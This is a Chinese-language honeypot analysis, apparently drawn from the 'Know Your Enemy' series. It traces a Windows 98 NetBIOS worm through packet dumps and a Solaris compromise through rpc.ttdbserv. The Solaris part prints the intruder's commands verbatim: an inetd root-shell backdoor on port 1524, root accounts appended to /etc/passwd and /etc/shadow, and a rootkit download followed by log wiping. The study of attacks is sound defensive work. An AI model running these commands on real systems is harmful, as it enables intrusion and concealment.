在一开始的时候，蠕虫在我们的系统上检查dnetc.ini，这是distributed.net客户端的标准配置文件，该配置文件告诉主服务
器谁的CPU资源引该被信任。在这里我们通过跟踪远程系统（NetBIOS名称GHUNT，帐号GHUNT,域名HSFOPROV）的记录发现他拷贝
这个文件到我们"honeypot"中。
11/01-15:29:18.580895 216.191.92.10:2900 -> 172.16.1.105:139
TCP TTL:112 TOS:0x0 ID:50235 DF
*****PA* Seq: 0x12930C6 Ack: 0x66B7068 Win: 0x2185
00 00 00 5B FF 53 4D 42 2D 00 00 00 00 00 01 00 ...[.SMB-.......
00 00 00 00 00 00 00 00 00 00 00 00 00 C8 57 1C ..............W.
00 00 82 D1 0F FF 00 00 00 07 00 91 00 16 00 20 ...............
00 DC 1C 00 3A 10 00 00 00 00 00 00 00 00 00 00 ....:...........
00 00 00 1A 00 5C 57 49 4E 44 4F 57 53 5C 53 59 .....\WINDOWS\SY
53 54 45 4D 5C 64 6E 65 74 63 2E 69 6E 69 00 STEM\dnetc.ini.
通过下面信息我们可以看到配置文件dentc.in的确切传输配置，注意bymer@inec.kiev.ua，他就是接受CPU资源的人，很可
能也是该蠕虫的作者。
11/01-15:29:18.729337 216.191.92.10:2900 -> 172.16.1.105:139
TCP TTL:112 TOS:0x0 ID:50747 DF
*****PA* Seq: 0x1293125 Ack: 0x66B70AD Win: 0x2140
00 00 01 11 FF 53 4D 42 0B 00 00 00 00 00 01 00 .....SMB........
00 00 00 00 00 00 00 00 00 00 00 00 00 C8 57 1C ..............W.
00 00 02 D2 05 00 00 E1 00 00 00 00 00 E1 00 E4 ................
00 01 E1 00 5B 6D 69 73 63 5D 20 0D 0A 70 72 6F ....[misc] ..pro
6A 65 63 74 2D 70 72 69 6F 72 69 74 79 3D 4F 47 ject-priority=OG
52 2C 52 43 35 2C 43 53 43 2C 44 45 53 0D 0A 0D R,RC5,CSC,DES...
0A 5B 70 61 72 61 6D 65 74 65 72 73 5D 0D 0A 69 .[parameters]..i
64 3D 62 79 6D 65 72 40 69 6E 65 63 2E 6B 69 65 d=bymer@inec.kie
76 2E 75 61 0D 0A 0D 0A 5B 72 63 35 5D 0D 0A 66 v.ua....[rc5]..f
65 74 63 68 2D 77 6F 72 6B 75 6E 69 74 2D 74 68 etch-workunit-th
72 65 73 68 6F 6C 64 3D 36 34 0D 0A 72 61 6E 64 reshold=64..rand
6F 6D 70 72 65 66 69 78 3D 32 31 37 0D 0A 0D 0A omprefix=217....
5B 6F 67 72 5D 0D 0A 66 65 74 63 68 2D 77 6F 72 [ogr]..fetch-wor
6B 75 6E 69 74 2D 74 68 72 65 73 68 6F 6C 64 3D kunit-threshold=
31 36 0D 0A 0D 0A 5B 74 72 69 67 67 65 72 73 5D 16....[triggers]
0D 0A 72 65 73 74 61 72 74 2D 6F 6E 2D 63 6F 6E ..restart-on-con
66 69 67 2D 66 69 6C 65 2D 63 68 61 6E 67 65 3D fig-file-change=
79 65 73 0D 0A yes..
下一个要传的软件是distributed.net客户端-dnetc.exe。一个可执行文件，原始版本是没有病毒。我们为了确认这个文件
是否被改动过，于是我们取了在"honeypot"中的改文件的MD5签名，之后我们从distributed.net上下载了该客户端并同样用
MD5进行签名，结果表明一样(d0fd1f93913af70178bff1a1953f5f7d)，表明该客户端并没有做过改动，仅仅是为了获取你的
CPU资源进行竞赛，但是所有这一切都没有经过我们的同意。
11/01-15:34:09.044822 216.191.92.10:2900 -> 172.16.1.105:139
TCP TTL:112 TOS:0x0 ID:33084 DF
*****PA* Seq: 0x129341A Ack: 0x66B71C0 Win: 0x202D
00 00 00 5B FF 53 4D 42 2D 00 00 00 00 00 01 00 ...[.SMB-.......
00 00 00 00 00 00 00 00 00 00 00 00 00 C8 57 1C ..............W.
00 00 04 26 0F FF 00 00 00 07 00 91 00 16 00 20 ...&...........
00 FE 1D 00 3A 10 00 00 00 00 00 00 00 00 00 00 ....:...........
00 00 00 1A 00 5C 57 49 4E 44 4F 57 53 5C 53 59 .....\WINDOWS\SY
53 54 45 4D 5C 64 6E 65 74 63 2E 65 78 65 00 STEM\dnetc.exe.
接下来传过来真正的病毒程序msi216.exe，这是一个可以进行自我复制的病毒随机探测寻找有漏洞的系统并考本自身，这很
可能就是导致我们接受大量扫描的根源。
11/01-15:37:23.083643 216.191.92.10:2900 -> 172.16.1.105:139
TCP TTL:112 TOS:0x0 ID:40765 DF
*****PA* Seq: 0x12C146A Ack: 0x66C248B Win: 0x20B2
00 00 00 5C FF 53 4D 42 2D 00 00 00 00 00 01 00 ...\.SMB-.......
00 00 00 00 00 00 00 00 00 00 00 00 00 C8 57 1C ..............W.
00 00 02 F3 0F FF 00 00 00 07 00 91 00 16 00 20 ...............
00 C0 1E 00 3A 10 00 00 00 00 00 00 00 00 00 00 ....:...........
00 00 00 1B 00 5C 57 49 4E 44 4F 57 53 5C 53 59 .....\WINDOWS\SY
53 54 45 4D 5C 6D 73 69 32 31 36 2E 65 78 65 00 STEM\msi216.exe.
最后，蠕虫上传了新的win.ini文件，这么做的原因是可以在系统重新启动的时候被执行，因为很难在远程Win98系统上直接
执行程序，所以蠕虫修改c:\windows\win.ini文件以使自己被自动加载。这个新的win.ini被上传到我们的系统。
11/01-15:38:55.352810 216.191.92.10:2900 -> 172.16.1.105:139
TCP TTL:112 TOS:0x0 ID:1342 DF
******A* Seq: 0x12C6F55 Ack: 0x66C95FC Win: 0x1FBF
00 00 0B 68 FF 53 4D 42 1D 00 00 00 00 00 01 00 ...h.SMB........
00 00 00 00 00 00 00 00 00 00 00 00 00 C8 57 1C ..............W.
00 00 02 F9 0C 0D 00 61 19 00 00 00 00 00 00 00 .......a........
00 00 00 00 00 00 00 00 00 2C 0B 3C 00 2D 0B 00 .........,.<.-..
5B 77 69 6E 64 6F 77 73 5D 0D 0A 6C 6F 61 64 3D [windows]..load=
63 3A 5C 77 69 6E 64 6F 77 73 5C 73 79 73 74 65 c:\windows\syste
6D 5C 6D 73 69 32 31 36 2E 65 78 65 0D 0A 72 75 m\msi216.exe..ru
6E 3D 0D 0A 4E 75 6C 6C 50 6F 72 74 3D 4E 6F 6E n=..NullPort=Non
65 0D 0A 0D 0A 5B 44 65 73 6B 74 6F 70 5D 0D 0A e....[Desktop]..
57 61 6C 6C 70 61 70 65 72 3D 28 4E 6F 6E 65 29 Wallpaper=(None)
0D 0A 54 69 6C 65 57 61 6C 6C 70 61 70 65 72 3D ..TileWallpaper=
31 0D 0A 57 61 6C 6C 70 61 70 65 72 53 74 79 6C 1..WallpaperStyl
65 3D 30 0D 0A 0D 0A 5B 69 6E 74 6C 5D 0D 0A 69 e=0....[intl]..i
到这里为止，蠕虫已经完成入侵并且我们的"honeypot"已经被感染。所有的一切就是我们重新启动系统蠕虫就会生效，一旦
它运行，就会发生一些事：
Distributed.net客户端启动，在竞赛中使用CPU资源。
蠕虫开始寻找有漏洞的系统并复制自己，这也是为什么导致UDP137和TCP139扫描。
蠕虫在注册表中添加如下键值。
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Bymer.scanner HKEY_LOCAL_MACHINE\Software\
Microsoft\Windows\CurrentVersion\RunServices\Bymer.scanner
你是否想着等着系统重启来执行程序不值得信赖，可是要知道目标是Windows桌面系统，你多长时间重启一次你的Windows？
第二条蠕虫
繁忙的一周，第二天我们的第二条蠕虫来了。这次是第一次的变种，获取你的CPU资源用来参加distributed.net竞赛，不同
的是，这一次所有文件合为一个可执行文件wininit.exe，缺省安装已经有一个安装在c:\windows\wininit.exe，之所以叫
这个名字是为了隐藏自己，即使有人发现这个二进制文件也会想到可能是一个系统文件而不是一个蠕虫。这在黑客社区是
非常常见的策略。一旦执行，这条蠕虫会象第一条那样。下面我们可以看到我们的"honeypot"被第二条蠕虫感染，远程系统
NetBIOS名是WINDOW，帐号WINDOW，域名LVCW。
11/02-21:41:17.287743 216.234.204.69:2021 -> 172.16.1.105:139
TCP TTL:113 TOS:0x0 ID:38619 DF
*****PA* Seq: 0x21CC0AC Ack: 0xCE6736B Win: 0x2185
00 00 00 5D FF 53 4D 42 2D 00 00 00 00 00 01 00 ...].SMB-.......
00 00 00 00 00 00 00 00 00 00 00 00 00 D0 4F 1F ..............O.
00 00 84 EE 0F FF 00 00 00 07 00 91 00 16 00 20 ...............
00 20 BB 01 3A 10 00 00 00 00 00 00 00 00 00 00 . ..:...........
00 00 00 1C 00 5C 57 49 4E 44 4F 57 53 5C 53 59 .....\WINDOWS\SY
53 54 45 4D 5C 77 69 6E 69 6E 69 74 2E 65 78 65 STEM\wininit.exe
00
Once the worm has installed itself, the remote system then modifies the win.ini file to ensure it is
executed on reboot. Notice how this executable adds to the already modified c:\windows\win.ini file, which
has an entry from our previous worm.
一旦蠕虫被安装，远程系统就会修改win.ini以确保在系统重启以后能够运行，在这里我们注意到它已经被加入
c:\windows\win.ini，以前的那个程序仍然在启动时执行。
11/02-21:41:48.538643 216.234.204.69:2021 -> 172.16.1.105:139
TCP TTL:113 TOS:0x0 ID:21212 DF
******A* Seq: 0x22021C9 Ack: 0xCE68EC7 Win: 0x1FA3
00 00 0B 68 FF 53 4D 42 1D 00 00 00 00 00 01 00 ...h.SMB........
00 00 00 00 00 00 00 00 00 00 00 00 00 D0 4F 1F ..............O.
00 00 84 F4 0C 0F 00 7F 19 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 2C 0B 3C 00 2D 0B 00 .........,.<.-..
5B 77 69 6E 64 6F 77 73 5D 0D 0A 6C 6F 61 64 3D [windows]..load=
63 3A 5C 77 69 6E 64 6F 77 73 5C 73 79 73 74 65 c:\windows\syste
6D 5C 77 69 6E 69 6E 69 74 2E 65 78 65 20 63 3A m\wininit.exe c:
5C 77 69 6E 64 6F 77 73 5C 73 79 73 74 65 6D 5C \windows\system\
6D 73 69 32 31 36 2E 65 78 65 0D 0A 72 75 6E 3D msi216.exe..run=
0D 0A 4E 75 6C 6C 50 6F 72 74 3D 4E 6F 6E 65 0D ..NullPort=None.
0A 0D 0A 5B 44 65 73 6B 74 6F 70 5D 0D 0A 57 61 ...[Desktop]..Wa
重启之后，象上一次一样，第二条蠕虫程序以同样的进程会启动。给我们的感觉对方似乎并没有象有些邪恶的黑客那样，
倒却象看热闹的。系统的拥有者并没有意识倒蠕虫已经运行在系统上，没有意识倒自己的系统正在被利用在探测别的主机，
他们的系统正连接Internet，作自己的事。每一个通过拨号连接Internet的主机都面临同样的攻击。这里正在发起一场战争
关于自动蠕虫探测和威胁那些主机，就像我们的"honeypot"。
自此以后
有过了一天，同样的蠕虫又探测我们的"honeypot"，首先，他们决定是否共享被打开，接着，它发现同样的蠕虫已经被安装，
之后它离我们而去。这天的晚些时候，另外一个系统探测是否msi216.exe已经被安装。
11/03-04:42:11.596636 210.111.145.180:2341 -> 172.16.1.105:139
TCP TTL:115 TOS:0x0 ID:12574 DF
*****PA* Seq: 0x2345C04 Ack: 0xE65CC94 Win: 0x2171
00 00 00 5D FF 53 4D 42 2D 00 00 00 00 00 01 00 ...].SMB-.......
00 00 00 00 00 00 00 00 00 00 00 00 00 D8 B5 1D ................
00 00 81 3E 0F FF 00 00 00 07 00 91 00 16 00 20 ...>...........
00 3A 26 02 3A 10 00 00 00 00 00 00 00 00 00 00 .:&.:...........
00 00 00 1C 00 5C 57 49 4E 44 4F 57 53 5C 53 59 .....\WINDOWS\SY
53 54 45 4D 5C 77 69 6E 69 6E 69 74 2E 65 78 65 STEM\wininit.exe
00 .
远程系统：NetBIOS名 MATTHEW，帐号 MPYLE，域名 MPYLE
11/03-16:39:38.723572 216.23.6.24:3946 -> 172.16.1.105:139
TCP TTL:113 TOS:0x0 ID:3309 DF
*****PA* Seq: 0x1A7105F Ack: 0x10F8C0F2 Win: 0x2159
00 00 00 5B FF 53 4D 42 2D 00 00 00 00 00 01 00 ...[.SMB-.......
00 00 00 00 00 00 00 00 00 00 00 00 00 E0 AD 20 ...............
00 00 81 D9 0F FF 00 00 00 07 00 91 00 16 00 20 ...............
00 14 CE 02 3A 10 00 00 00 00 00 00 00 00 00 00 ....:...........
00 00 00 1A 00 5C 57 49 4E 44 4F 57 53 5C 53 59 .....\WINDOWS\SY
53 54 45 4D 5C 64 6E 65 74 63 2E 69 6E 69 00 STEM\dnetc.ini.

在接下来的一天，11月4号，从IP为207.224.254.206（NetBIOS名SOCCERDOG，帐号SCOTT，域名RONS）开始对我们
的"honeypot"进行探测判断是否dnetc.ini已经被安装，当看到已经安装过，他随后离去。在随后三天之内我们
的"honeypot"一共接收到5次探测。在那天的晚些时候，我们的"honeypot"开始尝试通过http连接到bymer.boom.ru，
这可能是蠕虫在尝试进行连接主服务器进行更新。
Bymer.boom.ru系统像是某一时间的这条蠕虫的主控制器。但是域名bymer.boom.ru现在被解析成一个RFC 1918里IP地址
192.168.0.1。这些现象好像显示这个域的管理员在停止这条蠕虫，我们所不确定是一条蠕虫的运行有时不需要重启。
使用Windows的一个缺点就是可用信息太少，没有什么日志。下面我们看到"honeypot"初始化连接bymer.boom.ru，很可
能就是它的主服务器。
11/04-23:56:38.855453 172.16.1.105:1027 -> 192.168.0.1:80
TCP TTL:127 TOS:0x0 ID:65300 DF
**S***** Seq: 0x17AF8D9A Ack: 0x0 Win: 0x2000
TCP Options => MSS: 1460 NOP NOP SackOK
紧接着，dnetc.exe客户端连接到distributed.net服务器并且开始数据传输，这应该是distributed.net的客户端而不是
蠕虫的复制进程。接着完成蠕虫的最终愿望，耗CPU资源并上传结果到distributed.net。
11/04-23:56:40.286898 172.16.1.105:1029 -> 204.152.186.139:2064
TCP TTL:127 TOS:0x0 ID:1301 DF
*****PA* Seq: 0x17AF8F47 Ack: 0xBE445ED3 Win: 0x2238
AE 23 E2 77 F6 42 91 51 3E 61 3F EE 86 7F EE 8B .#.w.B.Q>a?.....
CE 9E 9D 28 16 BD 4B C5 5E DB FA 62 A6 FA A8 FF ...(..K.^..b....
EF 19 57 9C 37 38 06 39 7F 56 B4 D6 C7 75 63 73 ..W.78.9.V...ucs
0F 94 12 10 57 B2 C0 AD 9F D1 6F 4A E7 F0 1D E7 ....W.....oJ....
30 0E CC 84 78 2D 7B 21 C0 4C 29 BE 08 6A D8 5B 0...x-{!.L)..j.[
50 89 86 F8 98 A8 35 95 E0 C6 E4 32 28 E5 92 CF P.....5....2(...
71 04 41 6C B9 22 F0 09 01 41 9E A6 49 60 4D 43 q.Al."...A..I`MC
91 7E FB E0 D9 9D AA 7D 21 BC 59 1A 69 DB 07 B7 .~.....}!.Y.i...
B1 F9 B6 54 FA 18 64 F1 42 37 13 8E 8A 55 C2 2B ...T..d.B7...U.+
CF 32 45 19 1A 93 1F 65 62 B1 CE 02 AA D0 7C 9E .2E....eb.....|.
C5 46 78 29 F0 13 97 04 .Fx)....
一旦上传完成，这条开始在Internet上搜寻有漏洞系统并开始复制自己。它随机挑选IP地址，之后开始扫对方的135和
139端口。随后标记存在漏洞的系统并开始复制。如果一个"honeypot"的环境被设计成阻塞住各种被已经侵害的"honeypot"
发出的有恶意的流量，那么这些扫描就永远到不了Internet。"honeypot"在这里就像是"roach motel"，让坏蛋进去，但
不让出。下面可以看到这条蠕虫尝试发现其他有漏洞的系统。
11/04-23:58:05.946299 172.16.1.105:137 -> 39.202.248.187:137
UDP TTL:127 TOS:0x0 ID:30485
Len: 58
0E 94 00 10 00 01 00 00 00 00 00 00 20 43 4B 41 ............ CKA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 00 00 21 AAAAAAAAAAAAA..!
00 01
另外一件事就是我发现有趣的事情是在c:\windows\win.ini的这个配置文件被重新修改，很想是被winint.exe，这条蠕
虫从启动配置中移走msi216.exe。同样dentc.ini也重新被修改，把邮件地址从bymer@inec.kiev.ua改为bymer@ukrpost.net，
这些表明第二条蠕虫正在尝试从配置中去掉第一条的配置从而替代它。这种现象就像自然界的生态斗争，一条虫子同另
外一台争夺地盘，或者是CPU资源。
我们在上面描述了我们四天的历程，我们的Windows98系统被几条蠕虫侵袭。这些蠕虫自动探测有漏洞系统一旦发现就开
始自身复制，目前来看全是搜寻有NetBIOS漏洞的系统，当然并不表示所有基于NetBIOS的扫描都是这样。并不是所有的蠕
虫都是基于distributed.net。想想如果这条蠕虫被修改成窥探你系统上的隐秘信息，它会很轻易的搜寻包含财务等机密
信息…一旦发现，这些信息会发给匿名邮件帐号，IRC channel，或者被入侵的Web服务器。
非常感谢H Carvey 和Ryan Russell，他们是主要的技术贡献者，看额外的信息，可以http://distributed.net或者
http://www.cert.org。
2. Unix上的Honeypot实例
这篇文章来自<<Know Your Enemy>>系列，和上一部分一样，这里并不是讲解如何从技术上实现一个Unix上的"honeypot",
而是主要是通过分析来了解黑客的使用的工具和他们的策略。分三个部分，第一，第二部分提供的信息很少发布，通过在
14天里对他们所认为攻破的"honeypot"上的对话和行为的记录了解他们他们为什么和怎样攻击系统。当黑客认为这台
Solaris 2.6已经被攻破之后，他们在系统里放置了IRC。我们监视所有IRC里的通话，我们十四天的观察结果都记录在这里，
希望大家能够从中得到启示。
系统遭受入侵
我们的"honeypot"采用一个缺省安装Solaris 2.6系统，在此之上我们没有做任何修改或安装补丁程序。我们设置这样的系
统就是想引诱黑客进入我们的系统，通过他们在上面的活动，我们就可以研究他们的思维。
在2000年6月4日，我们的系统被黑客入侵，他们通过是rpc.ttdbserv漏洞，该漏洞允许远程在ToolTalk对象数据库执行
缓冲溢出程序（CVE-1999-0003,Bugtraq ID 122），该漏洞在SANS被列为前10位，我们的IDS、snort的检测信息如下：
Jun 4 11:37:58 lisa snort[5894]: IDS241/rpc.ttdbserv-solaris-kill: 192.168.78.12:877 -> 172.16.1.107:32775

Rpc.ttdbserv漏洞是一个缓冲溢出攻击，它允许远程用户在系统上以root身份执行命令。如下的命令被执行，并安装了一个
后门程序。Ingreslock服务（端口1524）被加到一个叫做/tmp/bob的文件，然后以它作为配置文件运行inetd，执行完以后，
它就在端口1524上帮定了一个root shell，允许远程用户对系统进行存取。
/bin/ksh -c echo 'ingreslock stream tcp nowait root /bin/sh sh -i' >>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob
一旦黑客安装了后门，他连接到端口1524，获得root shell，并执行如象命令。在我们的系统中增加了两个帐号，这样的话
他就可以Telnet进来。注意下面的错误和控制字符，原因是因为绑定在1524端口的shell并没有一个很好的环境。
# cp /etc/passwd /etc/.tp;
^Mcp /etc/shadow /etc/.ts;
echo "r:x:0:0:User:/:/sbin/sh" >> /etc/passwd;
echo "re:x:500:1000:daemon:/:/sbin/sh" >> /etc/passwd;
echo "r::10891::::::" >> /etc/shadow;
echo "re::6445::::::" >> /etc/shadow;
: not found
# ^M: not found
# ^M: not found
# ^M: not found
# ^M: not found
# ^M: not found
# who;
rsmith console May 24 21:09
^M: not found
# exit;
黑客这个时候在我们的系统上拥有两个帐号"re"和"r"，他于是就可以以"re"telnet上来，并su成"r"，这个帐号的UID为0，
我们将重温他的敲键记录。
!"' !"P#$#$'LINUX'
SunOS 5.6
login: re
Choose a new password.
New password: abcdef
Re-enter new password:
abcdef
telnet (SYSTEM): passwd
successfully changed for re
Sun Microsystems Inc.
SunOS 5.6 Generic August 1997
$ su r
我们的客人现在已经获得root权限，下一步就是安装工具并控制整个系统，首先，我们看到他建立一个隐藏目录用于隐藏他的工具。
# mkdir /dev/".. "
# cd /dev/".. "
在建立完这个目录之后，他开始从别的系统上下载所需的工具。
# ftp shell.example.net
Connected to shell.example.net.
220 shell.example.net
FTP server (Version 6.00) ready.
Name (shell.example.net:re):
j4n3
331 Password required for j4n3.
Password:abcdef
230 User j4n3 logged in.
ftp> get sun2.tar
200 PORT command successful.
150 Opening ASCII mode
data connection for 'sun2.tar' (1720320 bytes).
226 Transfer complete.
local: sun2.tar remote: sun2.tar
1727580 bytes received in 2.4e+02 seconds (6.90 Kbytes/s)
ftp> get l0gin
200 PORT command successful.
150 Opening ASCII mode
data connection for 'l0gin' (47165 bytes).
226 Transfer complete.
local: l0gin remote: l0gin
47378 bytes received in 7.7 seconds (6.04 Kbytes/s)
ftp> quit
U221 Goodbye.
一旦这个工具被成功下载，接下来就是解包和安装。这里注意他的整个安装过程通过一个简单的脚本setup.sh，这个脚本
调用另外一个脚本secure.sh。
# tar -xvf sun2.tar
x sun2, 0 bytes, 0 tape blocks
x sun2/me, 859600 bytes, 1679 tape blocks
x sun2/ls, 41708 bytes, 82 tape blocks
x sun2/netstat, 6784 bytes, 14 tape blocks
x sun2/tcpd, 19248 bytes, 38 tape blocks
x sun2/setup.sh, 1962 bytes, 4 tape blocks
x sun2/ps, 35708 bytes, 70 tape blocks
x sun2/packet, 0 bytes, 0 tape blocks
x sun2/packet/sunst, 9760 bytes, 20 tape blocks
x sun2/packet/bc, 9782 bytes, 20 tape blocks
x sun2/packet/sm, 32664 bytes, 64 tape blocks
x sun2/packet/newbc.txt, 762 bytes, 2 tape blocks
x sun2/packet/syn, 10488 bytes, 21 tape blocks
x sun2/packet/s1, 12708 bytes, 25 tape blocks
x sun2/packet/sls, 19996 bytes, 40 tape blocks
x sun2/packet/smaq, 10208 bytes, 20 tape blocks
x sun2/packet/udp.s, 10720 bytes, 21 tape blocks
x sun2/packet/bfile, 2875 bytes, 6 tape blocks
x sun2/packet/bfile2, 3036 bytes, 6 tape blocks
x sun2/packet/bfile3, 20118 bytes, 40 tape blocks
x sun2/packet/sunsmurf, 11520 bytes, 23 tape blocks
x sun2/sys222, 34572 bytes, 68 tape blocks
x sun2/m, 9288 bytes, 19 tape blocks
x sun2/l0gin, 47165 bytes, 93 tape blocks
x sun2/sec, 1139 bytes, 3 tape blocks
x sun2/pico, 222608 bytes, 435 tape blocks
x sun2/sl4, 28008 bytes, 55 tape blocks
x sun2/fix, 10360 bytes, 21 tape blocks
x sun2/bot2, 508 bytes, 1 tape blocks
x sun2/sys222.conf, 42 bytes, 1 tape blocks
x sun2/le, 21184 bytes, 42 tape blocks
x sun2/find, 6792 bytes, 14 tape blocks
x sun2/bd2, 9608 bytes, 19 tape blocks
x sun2/snif, 16412 bytes, 33 tape blocks
x sun2/secure.sh, 1555 bytes, 4 tape blocks
x sun2/log, 47165 bytes, 93 tape blocks
x sun2/check, 46444 bytes, 91 tape blocks
x sun2/zap3, 13496 bytes, 27 tape blocks
x sun2/idrun, 188 bytes, 1 tape blocks
x sun2/idsol, 15180 bytes, 30 tape blocks
x sun2/sniff-10mb, 16488 bytes, 33 tape blocks
x sun2/sniff-100mb, 16496 bytes, 33 tape blocks
# rm sun2.tar
# mv l0gin sun2
#cd sun2
#./setup.sh
hax0r w1th K1dd13
Ok This thing is complete :-)

这里这个工具包首先清除日志里和他的行为相关的信息。
- WTMP:
/var/adm/wtmp is Sun Jun 4 11:47:39 2000
/usr/adm/wtmp is Sun Jun 4 11:47:39 2000
/etc/wtmp is Sun Jun 4 11:47:39 2000
/var/log/wtmp cannot open
WTMP = /var/adm/wtmp
Removing user re at pos: 1440
Done!
- UTMP:
/var/adm/utmp is Sun Jun 4 11:47:39 2000
/usr/adm/utmp is Sun Jun 4 11:47:39 2000
/etc/utmp is Sun Jun 4 11:47:39 2000
/var/log/utmp cannot open
/var/run/utmp cannot open
UTMP = /var/adm/utmp
Removing user re at pos: 288
Done!
- LASTLOG:
/var/adm/lastlog is Sun Jun 4 11:47:39 2000
/usr/adm/lastlog is Sun Jun 4 11:47:39 2000
/etc/lastlog cannot open
/var/log/lastlog cannot open
LASTLOG = /var/adm/lastlog
User re has no wtmp record. Zeroing lastlog..
- WTMPX:
/var/adm/wtmpx is Sun Jun 4 11:47:39 2000
/usr/adm/wtmpx is Sun Jun 4 11:47:39 2000
/etc/wtmpx is Sun Jun 4 11:47:39 2000
/var/log/wtmpx cannot open
WTMPX = /var/adm/wtmpx
Done!
- UTMPX:
/var/adm/utmpx is Sun Jun 4 11:47:39 2000
/usr/adm/utmpx is Sun Jun 4 11:47:39 2000
/etc/utmpx is Sun Jun 4 11:47:39 2000
/var/log/utmpx cannot open
/var/run/utmpx cannot open
UTMPX = /var/adm/utmpx
Done!
./setup.sh: ./zap: not found
在清理完日志文件后，他们开始为系统安全考虑，开始加固系统安全。因为他们可以轻易进入系统，别人也同样有可能，
他们并不想自己的"劳动成果"被别人抢去。
./secure.sh: rpc.ttdb=:not found
#: securing.
#: 1) changing modes on local files.
#: will add more local security later.
#: 2) remote crap like rpc.status , nlockmgr etc..
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
#: 3) killed statd , rpcbind , nlockmgr
#: 4) removing them so they ever start again!
5) secured.
207 ? 0:00 inetd
11467 ? 0:00 inetd
cp: cannot access /dev/../sun/bot2
kill these processes@!#!@#!
cp: cannot access lpq
./setup.sh: /dev/ttyt/idrun: cannot execute
下一步IRC proxy开始运行，但是随后他又杀掉了改进程，对此我们感到迷惑。
Irc Proxy v2.6.4 GNU project (C) 1998-99
Coded by James Seter
:bugs-> (Pharos@refract.com) or IRC pharos on efnet
--Using conf file ./sys222.conf
--Configuration:
Daemon port......:9879
Maxusers.........:0
Default conn port:6667
Pid File.........:./pid.sys222
Vhost Default....:-SYSTEM DEFAULT-
Process Id.......:11599
Exit ./sys222{7} :Successfully went into the background.
接着很多文件别修改，包括/bin/login, /bin/ls, /usr/sbin/netstat, and /bin/ps，我们强烈建议查看一下setup.sh
和secure.sh脚本的源码，看看这两个程序到底做了什么，因为我们会恢复被类似工具攻击的系统。
# kill -9 11467
# ps -u root |grep |grep
inetd inetd
207 ? 0:00 inetd
# ..U/secure.sh/secure.sh
./secure.sh: rpc.ttdb=: not found
#: securing.
#: 1) changing modes on local files.
#: will add more local security later.
#: 2) remote crap like rpc.status , nlockmgr etc..
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
#: 3) killed statd , rpcbind , nlockmgr
#: 4) removing them so they ever start again!
5) secured.
# ppUs -u s -u U||U grep grep ttUtdbtdb
Ups: option requires an argument -- u
usage: ps [ -aAdeflcj] [ -o format ] [ -t termlist ]
[ -u userlist ] [ -U userlist ] [ -G grouplist ]
[ -p proclist ] [ -g pgrplist ] [ -s sidlist ]
'format' is one or more of:
user ruser group rgroup uid ruid gid rgid pid ppid pgid sid
pri opri pcpu pmem vsz rss osz nice class time etime stime
f s c tty addr wchan fname comm args
# ppUs -s -UAdj | grep ttdbAdj | grep ttdb
最后，我们的客人运行了IRC bot，这个东西确保他们对IRC通道的控制权，这个bot也记录了他们的会话记录。
# ../me -f bot2
init: Using config file: bot2
EnergyMech 2.7.1, December 2nd, 1999
Starglider Class EnergyMech
Compiled on Jan 27 2000 07:06:04
Features: DYN, NEW, SEF
init: Unknown configuration
item: "NOSEEN" (ignored)
init: Mechs added [ save2 ]
init: Warning: save2 has no userlist, running in setup mode
init: EnergyMech running...
# exit;
$ exit
一旦这个bot准备就绪，他们离开了系统，也就是这个bot捕获他们的所有对话。如果想要了解更多的关于IRC信息，可以
参考David Brumley的<< Tracking Hackers on IRC >>文章。在随后的一个星期之内，他们返回过几次都是来查看系统
是否仍然在他们的控制之中。但是一个星期之后，他们重新上来并企图利用这里的资源来对别的网站进行拒绝服务攻击。
当然，他们没有成功，我们的"honeypot"在设计之初就已经考虑了类似问题，所有尝试利用我们系统进行的攻击都会被封
锁，他们发起的拒绝服务攻击自动被封锁。
接下来的部分，我们主要通过他们在IRC里的对话来分析黑客们的行为和心理，通过这些，我们可以更好地反击黑客的入侵。
下面罗列的是紧接着两个星期内他们对话，我们暂且叫这个IRC通道为K1dd13，其中两个人叫做D1ck和J4n3，其中很多比如
说IP和其他信息我们在这里都做了改动。我们可以看到他们甚至对很多Unix的基础知识还不了解，但仍然能对很多系统造
成危害。
第一天，6月4号
对话主要讨论建立一个漏洞资料库，通过共享资源来攻击潜在的目标
第二天，6月5号
今天D1ck和J4n3共享漏洞资料，特别注意的是他们吹牛已经攻击了多少网络，好像他们正在攻击的是一所大学里的一台
Linux系统，他们也讨论了在Linux和sparc上的新的工具。
第三天，6月6号
D1ck和J4n3吹牛他们曾经对多少系统进行过拒绝服务攻击，紧接着D1ck教J4n3怎样mount一个分区，然后他们商量如何使
用sniffit，最后D1ck似乎拼命的搜寻Irix漏洞和攻击工具。
第四天，6月7号
D1ck和J4n3决定对印度的一个系统进行拒绝服务攻击，最后他们对哪些扰乱他们的其他IRC用户进行拒绝服务。
第五天，6月8号
D1ck请J4n3为他占领三个系统，D1ck和他的密友Sp07尝试发掘出sniffer是怎样工作的，类似问题"sniffer探测必须在同
一个网络中？"
第六天，6月9号
我们的朋友似乎很忙，似乎D1ck已经入侵了40个系统。
第七天，6月10号
平淡的一天，D1ck教给一个新伙计k1dd13怎样使用sadmind漏洞，我们不确定的是D1ck自己是否明白怎样使用
第八天，6月11号
D1ck和J4n3讨论他们所拥有的系统以及他们那想对其实施拒绝服务的人，D1ck发现死亡之ping。
第九天，6月12号
似乎D1ck撞了大运，他发现了一个ISP并且获得对于他们帐单存取权限和5000个帐号。
第十天，6月13号
Sp07加入。
第十一天，6月14号
他们开始Crack用户密码和存取个人帐号。
第十二天，6月15号
D1ck 和 J4n3试图在一个信用卡频道里发现信用卡号，如果成功他们那就可以买下一些域名。
第十三天，6月16号
D1ck 和 J4n3仍然在这个信用卡频道里。在聊天结束的时候，他们把焦点又放在自己的Web站点。
第十四天，6月17号
D1ck 和 J4n3谈论着信用卡并继续建筑自己的Web站点。
我们已经了解到这个黑客团体在14天里的行为，当然不是所有的黑客团体都像这样，实际上，我们观测到的只是很小的
